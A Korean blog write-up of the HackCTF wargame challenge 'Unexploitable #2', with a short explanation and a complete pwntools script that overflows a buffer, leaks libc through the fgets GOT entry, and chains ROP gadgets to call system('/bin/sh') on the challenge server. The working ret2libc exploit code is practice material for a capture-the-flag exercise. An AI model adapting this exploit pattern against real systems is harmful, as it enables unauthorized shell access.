Unfexploitable #1의 다은 단계 문제인거 같다.
1. Mitigation
2. 문제 확인
문제를 실행시켜보면 unexploitable #1과 다르게 fflush의 문자열을 이용할 수 없는거 같다. IDA로 확인하자
3. 풀이
main 함수를 보면 fflush가 없는걸 확인 할 수 있다. gift 함수는 똑같이 주어지기 때문에 1번 문제에서 풀었던 것 처럼
system 함수와 fgets를 이용해 주소를 leak하고 ROP를 하면 된다.
exploit
from pwn import *
r = remote('ctf.j0n9hyun.xyz', 3029)
e = ELF('./Unexploitable_2')
prdi = 0x0000000000400773
system_plt = e.plt['system']
fgets_got = e.got['fgets']
main = 0x40068C
payload = 'A'*0x18
payload += p64(prdi)
payload += p64(fgets_got)
payload += p64(system_plt)
payload += p64(main)
r.sendlineafter('\n', payload)
print r.recvuntil('1: ')
fgets = u64(r.recv(6).ljust(8, '\x00'))
libc = fgets - 0x6dad0 # fgets offset
system = libc + 0x045390 # system offset
binsh = libc + 0x18cd57 # binsh offset
log.info('fgets: ' + hex(fgets))
log.info('libc: ' + hex(libc))
log.info('system: ' + hex(system))
log.info('binsh: ' + hex(binsh))
payload2 = 'A'*0x18
payload2 += p64(prdi)
payload2 += p64(binsh)
payload2 += p64(system)
r.sendline(payload2)
r.interactive()
'Wargame > HackCTF' 카테고리의 다른 글
ROP (0) | 2021.04.03 |
---|---|
Register (0) | 2021.04.03 |
Unexploitable #1 (0) | 2021.03.31 |
You are silver (0) | 2021.03.26 |
SysROP (0) | 2021.03.24 |
댓글